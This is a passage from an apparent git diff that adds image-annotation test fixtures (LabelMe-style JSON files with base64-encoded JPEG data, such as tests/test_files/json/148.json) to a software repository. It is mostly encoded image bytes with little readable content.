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", + "imageHeight": 500, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/json/148.json b/tests/test_files/json/148.json new file mode 100644 index 0000000000000000000000000000000000000000..3199b319fc30d8ec881bdca7ce51eaf5c80f07c1 --- /dev/null +++ b/tests/test_files/json/148.json @@ -0,0 +1,9 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [], + "imagePath": "148.jpg", + "imageData": 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